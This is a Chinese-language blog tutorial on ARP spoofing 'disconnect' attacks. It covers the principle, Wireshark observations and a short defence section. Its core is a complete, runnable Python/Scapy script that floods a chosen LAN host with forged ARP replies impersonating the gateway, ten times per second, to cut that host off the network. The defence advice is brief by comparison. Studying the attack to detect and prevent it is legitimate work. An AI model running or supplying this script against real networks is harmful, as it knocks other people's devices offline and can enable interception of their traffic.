痛点暴击型(戳中网络安全焦虑)网络突然断网?ARP 攻击原理 + 实现全揭秘,附 Wireshark 抓包分析别让 ARP 攻击搞崩你的网络!原理、实现步骤 + 防护技巧,一文读懂
·
背景
最近事情比较忙,读者反应的几篇教程都没有出,趁着这个周末把环境搭建了一下,今天出ARP断网攻击的实现与预防,剩下的ARP监控攻击。模拟游戏封闭辅助的。这些都只能放到后面了。
原理
下面来说一下ARP断网攻击的原理:
① ARP是工作在局域网的,局域网中的通信主要是通过MAC地址,IP
② 操作系统中有个ARP表,通过这张表,来对应IP和MAC地址。
③ 局域网中的电脑通过接收广播包,更新自身的ARP表。
④ 如果有一个“攻击者”,不停的对“受害”主机发送ARP广播包,内容是将网关的MAC地址,替换成自己或者其他不存在的。
⑤ “受害主机”需要上网时,通过ARP表查找网关的信息。拿到网关的MAC和IP地址。将上网的数据发送到“攻击者”或者不存在的主机上。
⑥ 如果“攻击者”不回数据,也就是arp断网攻击了。
演示
首先看下受害主机的ARP表:

攻击者攻击代码如下:
from scapy.all import ARP, Ether, sendp
import time
def arp_disconnect(target_ip, gateway_ip, interface):
"""
发送伪造ARP应答包,使目标主机断网
:param target_ip: 目标主机IP
:param gateway_ip: 网关IP
:param interface: 攻击主机的网卡接口(如"以太网"、"WLAN",可通过ipconfig查看)
"""
try:
# 构造ARP应答包:告诉目标主机"网关IP对应的MAC是攻击主机的MAC"
# op=2表示ARP应答包,psrc是网关IP,pdst是目标IP,hwdst是目标主机的MAC(设为广播MAC ff:ff:ff:ff:ff:ff可简化)
arp_packet = ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff")
# 封装以太网帧(目标MAC设为广播,确保目标能收到)
ether_frame = Ether(dst="ff:ff:ff:ff:ff:ff") / arp_packet
print(f"开始向 {target_ip} 发送伪造ARP包,伪装成网关 {gateway_ip}...")
print("按 Ctrl+C 停止攻击")
# 循环发送数据包(每秒10次,持续欺骗目标)
while True:
sendp(ether_frame, iface=interface, verbose=False) # sendp用于发送二层帧
time.sleep(0.1)
except KeyboardInterrupt:
print("\n攻击已停止")
if __name__ == "__main__":
TARGET_IP = "192.168.0.114" # 目标主机IP(例如手机、另一台电脑的IP)
GATEWAY_IP = "192.168.0.1" # 网关IP(路由器IP,可通过ipconfig查看"默认网关")
INTERFACE = "WLAN" # 攻击主机的网卡接口(Windows下可通过"网络连接"查看名称)
arp_disconnect(TARGET_IP, GATEWAY_IP, INTERFACE)
程序运行截图如下:

此时查看下ARP表:

可见,关于网关192.168.0.1相的MAC地址已更换。
看下Wireshark抓包情况。
攻击者关于arp的包:

可见不停的在发广播包,并且,内容为替换192.168.0.1的MAC地址。
查看下受害者的Wireshark抓包。

如何防护
可以使用现成的产品,如火绒。

也可以自己写个程序,进行防护,原理很简单。
一般情况下ARP频率不会太高,但攻击者为了使受害者的ARP包替换。他的频率是很高的,差不多是10s,甚至更快。只需要监控这类包就可以了。
问题
下面提出1个问题,知道的读者朋友,可以留言为不太清楚的朋友进行解答。
为什么ARP发送广播包时,需要指定受害主机的IP地址呢?

知道的朋友可以留言。
更多推荐



所有评论(0)